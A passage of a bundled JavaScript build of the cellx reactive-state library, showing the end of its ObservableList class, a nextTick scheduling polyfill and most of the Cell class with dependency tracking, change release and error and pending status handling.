* @typesign (value, fromIndex?: int) -> int;
*/
indexOf: function indexOf(value, fromIndex) {
return this._items.indexOf(value, this._validateIndex(fromIndex, true));
},
/**
* @typesign (value, fromIndex?: int) -> int;
*/
lastIndexOf: function lastIndexOf(value, fromIndex) {
return this._items.lastIndexOf(value, fromIndex === void 0 ? -1 : this._validateIndex(fromIndex, true));
},
/**
* @typesign (index: int) -> *;
*/
get: function get(index) {
return this._items[this._validateIndex(index, true)];
},
/**
* @typesign (index: int, count?: uint) -> Array;
*/
getRange: function getRange(index, count) {
index = this._validateIndex(index, true);
var items = this._items;
if (count === void 0) {
return items.slice(index);
}
if (index + count > items.length) {
throw new RangeError('Sum of "index" and "count" out of valid range');
}
return items.slice(index, index + count);
},
/**
* @typesign (index: int, value) -> cellx.ObservableList;
*/
set: function set(index, value) {
if (this.sorted) {
throw new TypeError('Cannot set to sorted list');
}
index = this._validateIndex(index, true);
var items = this._items;
if (is(value, items[index])) {
return this;
}
this._unregisterValue(items[index]);
this._registerValue(value);
items[index] = value;
this.emit('change');
return this;
},
/**
* @typesign (index: int, values: Array|cellx.ObservableList) -> cellx.ObservableList;
*/
setRange: function setRange(index, values) {
if (this.sorted) {
throw new TypeError('Cannot set to sorted list');
}
index = this._validateIndex(index, true);
if (values instanceof ObservableList) {
values = values._items;
}
var valueCount = values.length;
if (!valueCount) {
return this;
}
if (index + valueCount > this.length) {
throw new RangeError('Sum of "index" and "values.length" out of valid range');
}
var items = this._items;
var changed = false;
for (var i = index + valueCount; i > index;) {
var value = values[--i - index];
if (!is(value, items[i])) {
this._unregisterValue(items[i]);
this._registerValue(value);
items[i] = value;
changed = true;
}
}
if (changed) {
this.emit('change');
}
return this;
},
/**
* @typesign (value) -> cellx.ObservableList;
*/
add: function add(value) {
if (this.sorted) {
this._insertValue(value);
} else {
this._registerValue(value);
this._items.push(value);
}
this.length++;
this.emit('change');
return this;
},
/**
* @typesign (values: Array|cellx.ObservableList) -> cellx.ObservableList;
*/
addRange: function addRange(values) {
if (values.length) {
this._addRange(values);
this.emit('change');
}
return this;
},
/**
* @typesign (values: Array|cellx.ObservableList);
*/
_addRange: function _addRange(values) {
if (values instanceof ObservableList) {
values = values._items;
}
if (this.sorted) {
for (var i = 0, l = values.length; i < l; i++) {
this._insertValue(values[i]);
}
this.length += values.length;
} else {
for (var j = values.length; j;) {
this._registerValue(values[--j]);
}
this.length = push$1.apply(this._items, values);
}
},
/**
* @typesign (value);
*/
_insertValue: function _insertValue(value) {
this._registerValue(value);
var items = this._items;
var comparator = this.comparator;
var low = 0;
var high = items.length;
while (low != high) {
var mid = (low + high) >> 1;
if (comparator(value, items[mid]) < 0) {
high = mid;
} else {
low = mid + 1;
}
}
items.splice(low, 0, value);
},
/**
* @typesign (index: int, value) -> cellx.ObservableList;
*/
insert: function insert(index, value) {
if (this.sorted) {
throw new TypeError('Cannot insert to sorted list');
}
index = this._validateIndex(index, true);
this._registerValue(value);
this._items.splice(index, 0, value);
this.length++;
this.emit('change');
return this;
},
/**
* @typesign (index: int, values: Array|cellx.ObservableList) -> cellx.ObservableList;
*/
insertRange: function insertRange(index, values) {
if (this.sorted) {
throw new TypeError('Cannot insert to sorted list');
}
index = this._validateIndex(index, true);
if (values instanceof ObservableList) {
values = values._items;
}
var valueCount = values.length;
if (!valueCount) {
return this;
}
for (var i = valueCount; i;) {
this._registerValue(values[--i]);
}
splice.apply(this._items, [index, 0].concat(values));
this.length += valueCount;
this.emit('change');
return this;
},
/**
* @typesign (value, fromIndex?: int) -> boolean;
*/
remove: function remove(value, fromIndex) {
var index = this._items.indexOf(value, this._validateIndex(fromIndex, true));
if (index == -1) {
return false;
}
this._unregisterValue(value);
this._items.splice(index, 1);
this.length--;
this.emit('change');
return true;
},
/**
* @typesign (value, fromIndex?: int) -> boolean;
*/
removeAll: function removeAll(value, fromIndex) {
var index = this._validateIndex(fromIndex, true);
var items = this._items;
var changed = false;
while ((index = items.indexOf(value, index)) != -1) {
this._unregisterValue(value);
items.splice(index, 1);
changed = true;
}
if (changed) {
this.length = items.length;
this.emit('change');
}
return changed;
},
/**
* @typesign (values: Array|cellx.ObservableList, fromIndex?: int) -> boolean;
*/
removeEach: function removeEach(values, fromIndex) {
fromIndex = this._validateIndex(fromIndex, true);
if (values instanceof ObservableList) {
values = values._items;
}
var items = this._items;
var changed = false;
for (var i = 0, l = values.length; i < l; i++) {
var value = values[i];
var index = items.indexOf(value, fromIndex);
if (index != -1) {
this._unregisterValue(value);
items.splice(index, 1);
changed = true;
}
}
if (changed) {
this.length = items.length;
this.emit('change');
}
return changed;
},
/**
* @typesign (values: Array|cellx.ObservableList, fromIndex?: int) -> boolean;
*/
removeAllEach: function removeAllEach(values, fromIndex) {
fromIndex = this._validateIndex(fromIndex, true);
if (values instanceof ObservableList) {
values = values._items;
}
var items = this._items;
var changed = false;
for (var i = 0, l = values.length; i < l; i++) {
var value = values[i];
for (var index = fromIndex; (index = items.indexOf(value, index)) != -1;) {
this._unregisterValue(value);
items.splice(index, 1);
changed = true;
}
}
if (changed) {
this.length = items.length;
this.emit('change');
}
return changed;
},
/**
* @typesign (index: int) -> *;
*/
removeAt: function removeAt(index) {
var value = this._items.splice(this._validateIndex(index), 1)[0];
this._unregisterValue(value);
this.length--;
this.emit('change');
return value;
},
/**
* @typesign (index: int, count?: uint) -> Array;
*/
removeRange: function removeRange(index, count) {
index = this._validateIndex(index, true);
var items = this._items;
if (count === void 0) {
count = items.length - index;
} else if (index + count > items.length) {
throw new RangeError('Sum of "index" and "count" out of valid range');
}
if (!count) {
return [];
}
for (var i = index + count; i > index;) {
this._unregisterValue(items[--i]);
}
var values = items.splice(index, count);
this.length -= count;
this.emit('change');
return values;
},
/**
* @typesign () -> cellx.ObservableList;
*/
clear: function clear() {
if (!this.length) {
return this;
}
if (this.adoptsValueChanges) {
this._valueCounts.forEach((function(value) {
if (value instanceof EventEmitter) {
value.off('change', this._onItemChange, this);
}
}), this);
}
this._items.length = 0;
this._valueCounts.clear();
this.length = 0;
this.emit({
type: 'change',
subtype: 'clear'
});
return this;
},
/**
* @typesign (separator?: string) -> string;
*/
join: function join(separator) {
return this._items.join(separator);
},
/**
* @typesign (
* cb: (item, index: uint, list: cellx.ObservableList),
* context?
* );
*/
forEach: null,
/**
* @typesign (
* cb: (item, index: uint, list: cellx.ObservableList) -> *,
* context?
* ) -> Array;
*/
map: null,
/**
* @typesign (
* cb: (item, index: uint, list: cellx.ObservableList) -> ?boolean,
* context?
* ) -> Array;
*/
filter: null,
/**
* @typesign (
* cb: (item, index: uint, list: cellx.ObservableList) -> ?boolean,
* context?
* ) -> *;
*/
find: function(cb, context) {
var items = this._items;
for (var i = 0, l = items.length; i < l; i++) {
var item = items[i];
if (cb.call(context, item, i, this)) {
return item;
}
}
},
/**
* @typesign (
* cb: (item, index: uint, list: cellx.ObservableList) -> ?boolean,
* context?
* ) -> int;
*/
findIndex: function(cb, context) {
var items = this._items;
for (var i = 0, l = items.length; i < l; i++) {
if (cb.call(context, items[i], i, this)) {
return i;
}
}
return -1;
},
/**
* @typesign (
* cb: (item, index: uint, list: cellx.ObservableList) -> ?boolean,
* context?
* ) -> boolean;
*/
every: null,
/**
* @typesign (
* cb: (item, index: uint, list: cellx.ObservableList) -> ?boolean,
* context?
* ) -> boolean;
*/
some: null,
/**
* @typesign (
* cb: (accumulator, item, index: uint, list: cellx.ObservableList) -> *,
* initialValue?
* ) -> *;
*/
reduce: null,
/**
* @typesign (
* cb: (accumulator, item, index: uint, list: cellx.ObservableList) -> *,
* initialValue?
* ) -> *;
*/
reduceRight: null,
/**
* @typesign () -> cellx.ObservableList;
*/
clone: function clone() {
return new this.constructor(this, {
adoptsValueChanges: this.adoptsValueChanges,
comparator: this.comparator,
sorted: this.sorted
});
},
/**
* @typesign () -> Array;
*/
toArray: function toArray() {
return this._items.slice();
},
/**
* @typesign () -> string;
*/
toString: function toString() {
return this._items.join();
}
});
['forEach', 'map', 'filter', 'every', 'some'].forEach((function(name) {
ObservableList.prototype[name] = function(cb, context) {
return this._items[name]((function(item, index) {
return cb.call(context, item, index, this);
}), this);
};
}));
['reduce', 'reduceRight'].forEach((function(name) {
ObservableList.prototype[name] = function(cb, initialValue) {
var items = this._items;
var list = this;
function wrapper(accumulator, item, index) {
return cb(accumulator, item, index, list);
}
return arguments.length >= 2 ? items[name](wrapper, initialValue) : items[name](wrapper);
};
}));
[
['keys', function keys(index) {
return index;
}],
['values', function values(index, item) {
return item;
}],
['entries', function entries(index, item) {
return [index, item];
}]
].forEach((function(settings) {
var getStepValue = settings[1];
ObservableList.prototype[settings[0]] = function() {
var items = this._items;
var index = 0;
var done = false;
return {
next: function() {
if (!done) {
if (index < items.length) {
return {
value: getStepValue(index, items[index++]),
done: false
};
}
done = true;
}
return {
value: void 0,
done: true
};
}
};
};
}));
ObservableList.prototype[Symbol$1.iterator] = ObservableList.prototype.values;
/**
* @typesign (cb: ());
*/
var nextTick;
/* istanbul ignore next */
if (global$1.process && process.toString() == '[object process]' && process.nextTick) {
nextTick = process.nextTick;
} else if (global$1.setImmediate) {
nextTick = function nextTick(cb) {
setImmediate(cb);
};
} else if (global$1.Promise && Promise.toString().indexOf('[native code]') != -1) {
var prm = Promise.resolve();
nextTick = function nextTick(cb) {
prm.then((function() {
cb();
}));
};
} else {
var queue;
global$1.addEventListener('message', (function() {
if (queue) {
var track = queue;
queue = null;
for (var i = 0, l = track.length; i < l; i++) {
try {
track[i]();
} catch (err) {
ErrorLogger.log(err);
}
}
}
}));
nextTick = function nextTick(cb) {
if (queue) {
queue.push(cb);
} else {
queue = [cb];
postMessage('__tic__', '*');
}
};
}
var nextTick$1 = nextTick;
function noop() {}
var EventEmitterProto = EventEmitter.prototype;
var MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 0x1fffffffffffff;
var KEY_INNER$1 = EventEmitter.KEY_INNER;
var errorIndexCounter = 0;
var pushingIndexCounter = 0;
var releasePlan = new Map$1();
var releasePlanIndex = MAX_SAFE_INTEGER;
var releasePlanToIndex = -1;
var releasePlanned = false;
var currentlyRelease = false;
var currentCell = null;
var error = { original: null };
var releaseVersion = 1;
var transactionLevel = 0;
var pendingReactions = [];
var afterReleaseCallbacks;
function release() {
if (!releasePlanned) {
return;
}
releasePlanned = false;
currentlyRelease = true;
var queue = releasePlan.get(releasePlanIndex);
for (;;) {
var cell = queue && queue.shift();
if (!cell) {
if (releasePlanIndex == releasePlanToIndex) {
break;
}
queue = releasePlan.get(++releasePlanIndex);
continue;
}
var level = cell._level;
var changeEvent = cell._changeEvent;
if (!changeEvent) {
if (level > releasePlanIndex || cell._levelInRelease == -1) {
if (!queue.length) {
if (releasePlanIndex == releasePlanToIndex) {
break;
}
queue = releasePlan.get(++releasePlanIndex);
}
continue;
}
cell.pull();
level = cell._level;
changeEvent = cell._changeEvent;
if (level > releasePlanIndex) {
if (!queue.length) {
queue = releasePlan.get(++releasePlanIndex);
}
continue;
}
}
cell._levelInRelease = -1;
if (changeEvent) {
var oldReleasePlanIndex = releasePlanIndex;
cell._fixedValue = cell._value;
cell._changeEvent = null;
cell._handleEvent(changeEvent);
var pushingIndex = cell._pushingIndex;
var slaves = cell._slaves;
for (var i = 0, l = slaves.length; i < l; i++) {
var slave = slaves[i];
if (slave._level <= level) {
slave._level = level + 1;
}
if (pushingIndex >= slave._pushingIndex) {
slave._pushingIndex = pushingIndex;
slave._changeEvent = null;
slave._addToRelease();
}
}
if (releasePlanIndex != oldReleasePlanIndex) {
queue = releasePlan.get(releasePlanIndex);
continue;
}
}
if (!queue.length) {
if (releasePlanIndex == releasePlanToIndex) {
break;
}
queue = releasePlan.get(++releasePlanIndex);
}
}
releasePlanIndex = MAX_SAFE_INTEGER;
releasePlanToIndex = -1;
currentlyRelease = false;
releaseVersion++;
if (afterReleaseCallbacks) {
var callbacks = afterReleaseCallbacks;
afterReleaseCallbacks = null;
for (var j = 0, m = callbacks.length; j < m; j++) {
callbacks[j]();
}
}
}
/**
* @typesign (value);
*/
function defaultPut(value, push$$1) {
push$$1(value);
}
var config = {
asynchronous: true
};
/**
* @class cellx.Cell
* @extends {cellx.EventEmitter}
*
* @example
* var a = new Cell(1);
* var b = new Cell(2);
* var c = new Cell(function() {
* return a.get() + b.get();
* });
*
* c.on('change', function() {
* console.log('c = ' + c.get());
* });
*
* console.log(c.get());
* // => 3
*
* a.set(5);
* b.set(10);
* // => 'c = 15'
*
* @typesign new Cell(value?, opts?: {
* debugKey?: string,
* owner?: Object,
* get?: (value) -> *,
* validate?: (value, oldValue),
* merge: (value, oldValue) -> *,
* put?: (value, push: (value), fail: (err), oldValue),
* reap?: (),
* onChange?: (evt: cellx~Event) -> ?boolean,
* onError?: (evt: cellx~Event) -> ?boolean
* }) -> cellx.Cell;
*
* @typesign new Cell(pull: (push: (value), fail: (err), next) -> *, opts?: {
* debugKey?: string,
* owner?: Object,
* get?: (value) -> *,
* validate?: (value, oldValue),
* merge: (value, oldValue) -> *,
* put?: (value, push: (value), fail: (err), oldValue),
* reap?: (),
* onChange?: (evt: cellx~Event) -> ?boolean,
* onError?: (evt: cellx~Event) -> ?boolean
* }) -> cellx.Cell;
*/
var Cell = EventEmitter.extend({
Static: {
_nextTick: nextTick$1,
/**
* @typesign (cnfg: { asynchronous?: boolean });
*/
configure: function configure(cnfg) {
if (cnfg.asynchronous !== void 0) {
if (releasePlanned) {
release();
}
config.asynchronous = cnfg.asynchronous;
}
},
/**
* @typesign (cb: (), context?) -> ();
*/
autorun: function autorun(cb, context) {
var cell = new Cell(function() {
if (transactionLevel) {
var index = pendingReactions.indexOf(this);
if (index > -1) {
pendingReactions.splice(index, 1);
}
pendingReactions.push(this);
} else {
cb.call(context);
}
}, { onChange: noop });
return function disposer() {
cell.dispose();
};
},
/**
* @typesign ();
*/
forceRelease: function forceRelease() {
if (releasePlanned) {
release();
}
},
/**
* @typesign (cb: ());
*/
transaction: function transaction(cb) {
if (!transactionLevel++ && releasePlanned) {
release();
}
var success;
try {
cb();
success = true;
} catch (err) {
ErrorLogger.log(err);
for (var iterator = releasePlan.values(), step; !(step = iterator.next()).done;) {
var queue = step.value;
for (var i = queue.length; i;) {
var cell = queue[--i];
cell._value = cell._fixedValue;
cell._levelInRelease = -1;
cell._changeEvent = null;
}
}
releasePlan.clear();
releasePlanIndex = MAX_SAFE_INTEGER;
releasePlanToIndex = -1;
releasePlanned = false;
pendingReactions.length = 0;
success = false;
}
if (!--transactionLevel && success) {
for (var i = 0, l = pendingReactions.length; i < l; i++) {
var reaction = pendingReactions[i];
if (reaction instanceof Cell) {
reaction.pull();
} else {
EventEmitterProto._handleEvent.call(reaction[1], reaction[0]);
}
}
pendingReactions.length = 0;
if (releasePlanned) {
release();
}
}
},
/**
* @typesign (cb: ());
*/
afterRelease: function afterRelease(cb) {
(afterReleaseCallbacks || (afterReleaseCallbacks = [])).push(cb);
}
},
constructor: function Cell(value, opts) {
EventEmitter.call(this);
if (!opts) {
opts = {};
}
var cell = this;
this.debugKey = opts.debugKey;
this.owner = opts.owner || this;
this._pull = typeof value == 'function' ? value : null;
this._get = opts.get || null;
this._validate = opts.validate || null;
this._merge = opts.merge || null;
this._put = opts.put || defaultPut;
var push$$1 = this.push;
var fail = this.fail;
this.push = function(value) { push$$1.call(cell, value); };
this.fail = function(err) { fail.call(cell, err); };
this._onFulfilled = this._onRejected = null;
this._reap = opts.reap || null;
if (this._pull) {
this._fixedValue = this._value = void 0;
} else {
if (this._validate) {
this._validate(value, void 0);
}
if (this._merge) {
value = this._merge(value, void 0);
}
this._fixedValue = this._value = value;
if (value instanceof EventEmitter) {
value.on('change', this._onValueChange, this);
}
}
this._inited = false;
this._currentlyPulling = false;
this._active = false;
this._hasFollowers = false;
this._errorIndex = 0;
this._pushingIndex = 0;
this._version = 0;
/**
* Ведущие ячейки.
* @type {?Array<cellx.Cell>}
*/
this._masters = void 0;
/**
* Ведомые ячейки.
* @type {Array<cellx.Cell>}
*/
this._slaves = [];
this._level = 0;
this._levelInRelease = -1;
this._pending = false;
this._selfPendingStatusCell = null;
this._pendingStatusCell = null;
this._error = null;
this._selfErrorCell = null;
this._errorCell = null;
this._status = null;
this._fulfilled = false;
this._rejected = false;
this._changeEvent = null;
this._canCancelChange = true;
this._lastErrorEvent = null;
if (opts.onChange) {
this.on('change', opts.onChange);
}
if (opts.onError) {
this.on('error', opts.onError);
}
},
_handleEvent: function _handleEvent(evt) {
if (transactionLevel) {
pendingReactions.push([evt, this]);
} else {
EventEmitterProto._handleEvent.call(this, evt);
}
},
/**
* @override
*/
on: function on(type, listener, context) {
if (releasePlanned) {
release();
}
this._activate();
if (typeof type == 'object') {
EventEmitterProto.on.call(this, type, arguments.length >= 2 ? listener : this.owner);
} else {
EventEmitterProto.on.call(this, type, listener, arguments.length >= 3 ? context : this.owner);
}
this._hasFollowers = true;
return this;
},
/**
* @override
*/
off: function off(type, listener, context) {
if (releasePlanned) {
release();
}
var argCount = arguments.length;
if (argCount) {
if (typeof type == 'object') {
EventEmitterProto.off.call(this, type, argCount >= 2 ? listener : this.owner);
} else {
EventEmitterProto.off.call(this, type, listener, argCount >= 3 ? context : this.owner);
}
} else {
EventEmitterProto.off.call(this);
}
if (!this._slaves.length && !this._events.has('change') && !this._events.has('error') && this._hasFollowers) {
this._hasFollowers = false;
this._deactivate();
if (this._reap) {
this._reap.call(this.owner);
}
}
return this;
},
/**
* @typesign (
* listener: (evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.Cell;
*/
addChangeListener: function addChangeListener(listener, context) {
return this.on('change', listener, arguments.length >= 2 ? context : this.owner);
},
/**
* @typesign (
* listener: (evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.Cell;
*/
removeChangeListener: function removeChangeListener(listener, context) {
return this.off('change', listener, arguments.length >= 2 ? context : this.owner);
},
/**
* @typesign (
* listener: (evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.Cell;
*/
addErrorListener: function addErrorListener(listener, context) {
return this.on('error', listener, arguments.length >= 2 ? context : this.owner);
},
/**
* @typesign (
* listener: (evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.Cell;
*/
removeErrorListener: function removeErrorListener(listener, context) {
return this.off('error', listener, arguments.length >= 2 ? context : this.owner);
},
/**
* @typesign (
* listener: (err: ?Error, evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.Cell;
*/
subscribe: function subscribe(listener, context) {
function wrapper(evt) {
return listener.call(this, evt.error || null, evt);
}
wrapper[KEY_INNER$1] = listener;
if (arguments.length < 2) {
context = this.owner;
}
return this
.on('change', wrapper, context)
.on('error', wrapper, context);
},
/**
* @typesign (
* listener: (err: ?Error, evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.Cell;
*/
unsubscribe: function unsubscribe(listener, context) {
if (arguments.length < 2) {
context = this.owner;
}
return this
.off('change', listener, context)
.off('error', listener, context);
},
/**
* @typesign (slave: cellx.Cell);
*/
_registerSlave: function _registerSlave(slave) {
this._activate();
this._slaves.push(slave);
this._hasFollowers = true;
},
/**
* @typesign (slave: cellx.Cell);
*/
_unregisterSlave: function _unregisterSlave(slave) {
this._slaves.splice(this._slaves.indexOf(slave), 1);
if (!this._slaves.length && !this._events.has('change') && !this._events.has('error')) {
this._hasFollowers = false;
this._deactivate();
if (this._reap) {
this._reap.call(this.owner);
}
}
},
/**
* @typesign ();
*/
_activate: function _activate() {
if (!this._pull || this._active || this._masters === null) {
return;
}
var masters = this._masters;
if (this._version < releaseVersion) {
var value = this._tryPull();
if (masters || this._masters || !this._inited) {
if (value === error) {
this._fail(error.original, false);
} else {
this._push(value, false, false);
}
}
masters = this._masters;
}
if (masters) {
var i = masters.length;
do {
masters[--i]._registerSlave(this);
} while (i);
this._active = true;
}
},
/**
* @typesign ();
*/
_deactivate: function _deactivate() {
if (!this._active) {
return;
}
var masters = this._masters;
var i = masters.length;
do {
masters[--i]._unregisterSlave(this);
} while (i);
if (this._levelInRelease != -1 && !this._changeEvent) {
this._levelInRelease = -1;
}
this._active = false;
},
/**
* @typesign ();
*/
_addToRelease: function _addToRelease() {
var level = this._level;
if (level <= this._levelInRelease) {
return;
}
var queue;
(releasePlan.get(level) || (releasePlan.set(level, (queue = [])), queue)).push(this);
if (releasePlanIndex > level) {
releasePlanIndex = level;
}
if (releasePlanToIndex < level) {
releasePlanToIndex = level;
}
this._levelInRelease = level;
if (!releasePlanned && !currentlyRelease) {
releasePlanned = true;
if (!transactionLevel && !config.asynchronous) {
release();
} else {
Cell._nextTick(release);
}
}
},
/**
* @typesign (evt: cellx~Event);
*/
_onValueChange: function _onValueChange(evt) {
this._pushingIndex = ++pushingIndexCounter;
if (this._changeEvent) {
evt.prev = this._changeEvent;
this._changeEvent = evt;
if (this._value === this._fixedValue) {
this._canCancelChange = false;
}
} else {
evt.prev = null;
this._changeEvent = evt;
this._canCancelChange = false;
this._addToRelease();
}
},
/**
* @typesign () -> *;
*/
get: function get() {
if (releasePlanned && this._pull) {
release();
}
if (this._pull && !this._active && this._version < releaseVersion && this._masters !== null) {
var oldMasters = this._masters;
var value = this._tryPull();
var masters = this._masters;
if (oldMasters || masters || !this._inited) {
if (masters && this._hasFollowers) {
var i = masters.length;
do {
masters[--i]._registerSlave(this);
} while (i);
this._active = true;
}
if (value === error) {
this._fail(error.original, false);
} else {
this._push(value, false, false);
}
}
}
if (currentCell) {
var currentCellMasters = currentCell._masters;
var level = this._level;
if (currentCellMasters) {
if (currentCellMasters.indexOf(this) == -1) {
currentCellMasters.push(this);
if (currentCell._level <= level) {
currentCell._level = level + 1;
}
}
} else {
currentCell._masters = [this];
currentCell._level = level + 1;
}
}
return this._get ? this._get(this._value) : this._value;
},
/**
* @typesign () -> boolean;
*/
pull: function pull() {
if (!this._pull) {
return false;
}
if (releasePlanned) {
release();
}
var hasFollowers = this._hasFollowers;
var oldMasters;
var oldLevel;
if (hasFollowers) {
oldMasters = this._masters;
oldLevel = this._level;
}
var value = this._tryPull();
if (hasFollowers) {
var masters = this._masters;
var newMasterCount = 0;
if (masters) {
var i = masters.length;
do {
var master = masters[--i];
if (!oldMasters || oldMasters.indexOf(master) == -1) {
master._registerSlave(this);
newMasterCount++;
}
} while (i);
}
if (oldMasters && (masters ? masters.length - newMasterCount : 0) < oldMasters.length) {
for (var j = oldMasters.length; j;) {
var oldMaster = oldMasters[--j];
if (!masters || masters.indexOf(oldMaster) == -1) {
oldMaster._unregisterSlave(this);
}
}
}
this._active = !!(masters && masters.length);
if (currentlyRelease && this._level > oldLevel) {
this._addToRelease();
return false;
}
}
if (value === error) {
this._fail(error.original, false);
return true;
}
return this._push(value, false, true);
},
/**
* @typesign () -> *;
*/
_tryPull: function _tryPull() {
if (this._currentlyPulling) {
throw new TypeError('Circular pulling detected');
}
this._pending = true;
this._fulfilled = this._rejected = false;
if (this._selfPendingStatusCell) {
this._selfPendingStatusCell.set(true);
}
var prevCell = currentCell;
currentCell = this;
this._currentlyPulling = true;
this._masters = null;
this._level = 0;
try {
return this._pull.call(this.owner, this.push, this.fail, this._value);
} catch (err) {
error.original = err;
return error;
} finally {
currentCell = prevCell;
this._version = releaseVersion + currentlyRelease;
var pendingStatusCell = this._pendingStatusCell;
if (pendingStatusCell && pendingStatusCell._active) {
pendingStatusCell.pull();
}
var errorCell = this._errorCell;
if (errorCell && errorCell._active) {
errorCell.pull();
}
this._currentlyPulling = false;
}
},
/**
* @typesign () -> boolean;
*/
isPending: function isPending() {
var pendingStatusCell = this._pendingStatusCell;
if (!pendingStatusCell) {
var debugKey = this.debugKey;
if (this._pull && this._pull.length) {
this._selfPendingStatusCell = new Cell(
this._pending,
debugKey ? { debugKey: debugKey + '._selfPendingStatusCell' } : null
);
}
pendingStatusCell = this._pendingStatusCell = new Cell(function() {
if (this._selfPendingStatusCell && this._selfPendingStatusCell.get()) {
return true;
}
this.get();
var masters = this._masters;
if (masters) {
var i = masters.length;
do {
if (masters[--i].isPending()) {
return true;
}
} while (i);
}
return false;
}, debugKey ? { debugKey: debugKey + '._pendingStatusCell', owner: this } : { owner: this });
}
return pendingStatusCell.get();
},
/**
* @typesign () -> ?Error;
*/
getError: function getError() {
var errorCell = this._errorCell;
if (!errorCell) {
var debugKey = this.debugKey;
this._selfErrorCell = new Cell(this._error, debugKey ? { debugKey: debugKey + '._selfErrorCell' } : null);
errorCell = this._errorCell = new Cell(function() {
this.get();
var err = this._selfErrorCell.get();
var index;
if (err) {
index = this._errorIndex;
if (index == errorIndexCounter) {
return err;
}
}
var masters = this._masters;
if (masters) {
var i = masters.length;
do {
var master = masters[--i];
var masterError = master.getError();
if (masterError) {
var masterErrorIndex = master._errorIndex;
if (masterErrorIndex == errorIndexCounter) {
return masterError;
}
if (!err || index < masterErrorIndex) {
err = masterError;
index = masterErrorIndex;
}
}
} while (i);
}
return err;
}, debugKey ? { debugKey: debugKey + '._errorCell', owner: this } : { owner: this });
}
return errorCell.get();
},
getStatus: function getStatus() {
var status = this._status;
if (!status) {
var cell = this;
status = this._status = {
get pending() {
return cell.isPending();
},
get error() {
return cell.getError();
}
};
}
return status;
},
/**
* @typesign (value) -> cellx.Cell;
*/
set: function set(value) {
var oldValue = this._value;
if (this._validate) {
this._validate(value, oldValue);
}
if (this._merge) {
value = this._merge(value, oldValue);
}
this._put.call(this.owner, value, this.push, this.fail, oldValue);
return this;
},
/**
* @typesign (value) -> cellx.Cell;
*/
push: function push(value) {
this._push(value, true, false);
return this;
},
/**
* @typesign (value, external: boolean, pulling: boolean) -> boolean;
*/
_push: function _push(value, external, pulling) {
this._inited = true;
var oldValue = this._value;
if (external && currentlyRelease) {
if (is(value, oldValue)) {
this._setError(null);
this._fulfill(value);
return false;
}
var cell = this;
(afterReleaseCallbacks || (afterReleaseCallbacks = [])).push((function() {
cell._push(value, true, false);
}));
return true;
}
if (external || !currentlyRelease && pulling) {
this._pushingIndex = ++pushingIndexCounter;
}
this._setError(null);
if (is(value, oldValue)) {
if (external) {
this._fulfill(value);
}
return false;
}
this._value = value;
if (oldValue instanceof EventEmitter) {
oldValue.off('change', this._onValueChange, this);
}
if (value instanceof EventEmitter) {
value.on('change', this._onValueChange, this);
}
if (this._hasFollowers || transactionLevel) {
if (this._changeEvent) {
if (is(value, this._fixedValue) && this._canCancelChange) {
this._levelInRelease = -1;
this._changeEvent = null;
} else {
this._changeEvent = {
target: this,
type: 'change',
oldValue: oldValue,
value: value,
prev: this._changeEvent
};
}
} else {
this._changeEvent = {
target: this,
type: 'change',
oldValue: oldValue,
value: value,
prev: null
};
this._canCancelChange = true;
this._addToRelease();
}
} else {
if (external || !currentlyRelease && pulling) {
releaseVersion++;
}
this._fixedValue = value;
this._version = releaseVersion + currentlyRelease;
}
if (external) {
this._fulfill(value);
}
return true;
},
_fulfill: function _fulfill(value) {
if (!this._pending) {
return;
}
this._pending = false;
this._fulfilled = true;
if (this._selfPendingStatusCell) {
this._selfPendingStatusCell.set(false);
}
if (this._onFulfilled) {
this._onFulfilled(value);
}
},
/**
* @typesign (err) -> cellx.Cell;
*/
fail: function fail(err) {
this._fail(err, true);
return this;
},
/**
* @typesign (err, external: boolean);
*/
_fail: function _fail(err, external) {
this._logError(err);
if (!(err instanceof Error)) {
err = new Error(String(err));
}
this._setError(err);
if (external) {
this._reject(err);
}
},
/**
* @typesign (err: ?Error);
*/
_setError: function _setError(err) {
if (!err && !this._error) {
return;
}
this._error = err;
if (this._selfErrorCell) {
this._selfErrorCell.set(err);
}
if (err) {
this._errorIndex = ++errorIndexCounter;
this._handleErrorEvent({
type: 'error',
error: err
});
}
},
/**
* @typesign (evt: cellx~Event{ error: Error });
*/
_handleErrorEvent: function _handleErrorEvent(evt) {
if (this._lastErrorEvent === evt) {
return;
}
this._lastErrorEvent = evt;
this._handleEvent(evt);
var slaves = this._slaves;
for (var i = 0, l = slaves.length; i < l; i++) {
slaves[i]._handleErrorEvent(evt);
}
},
_reject: function _reject(err) {
if (!this._pending) {
return;
}
this._pending = false;
this._rejected = true;
if (this._selfPendingStatusCell) {
this._selfPendingStatusCell.set(false);
}
if (this._onRejected) {
this._onRejected(err);
}
},
/**
* @typesign (onFulfilled: ?(value) -> *, onRejected?: (err) -> *) -> Promise;
*/
then: function then(onFulfilled, onRejected) {
if (releasePlanned) {
release();
}
if (!this._pull || this._fulfilled) {
return Promise.resolve(this._get ? this._get(this._value) : this._value).then(onFulfilled);
}
if (this._rejected) {
return Promise.reject(this._error).catch(onRejected);
}
var cell = this;
var promise = new Promise(function(resolve, reject) {
cell._onFulfilled = function onFulfilled(value) {
cell._onFulfilled = cell._onRejected = null;
resolve(cell._get ? cell._get(value) : value);
};
cell._onRejected = function onRejected(err) {
cell._onFulfilled = cell._onRejected = null;
reject(err);
};
}).then(onFulfilled, onRejected);
if (!this._pending) {
this.pull();
}
return promise;
},
/**
* @typesign (onRejected: (err) -> *) -> Promise;
*/
catch: function catch_(onRejected) {
return this.then(null, onRejected);
},
/**
* @override
*/
_logError: function _logError() {
var msg = slice.call(arguments);
if (this.debugKey) {
msg.unshift('[' + this.debugKey + ']');
}
EventEmitterProto._logError.apply(this, msg);
},
/**
* @typesign () -> cellx.Cell;
*/
dispose: function dispose() {
var slaves = this._slaves;
for (var i = 0, l = slaves.length; i < l; i++) {
slaves[i].dispose();
}
return this.off();
}
});
Cell.prototype[Symbol$1.iterator] = function() {
return this._value[Symbol$1.iterator]();
};
/**
* @typesign (...msg);
*/
function logError() {
var console = global$1.console;
(console && console.error || noop).call(console || global$1, map$1.call(arguments, (function(arg) {
return arg === Object(arg) && arg.stack || arg;
})).join(' '));
}
ErrorLogger.setHandler(logError);
/**
* @typesign (value?, opts?: {
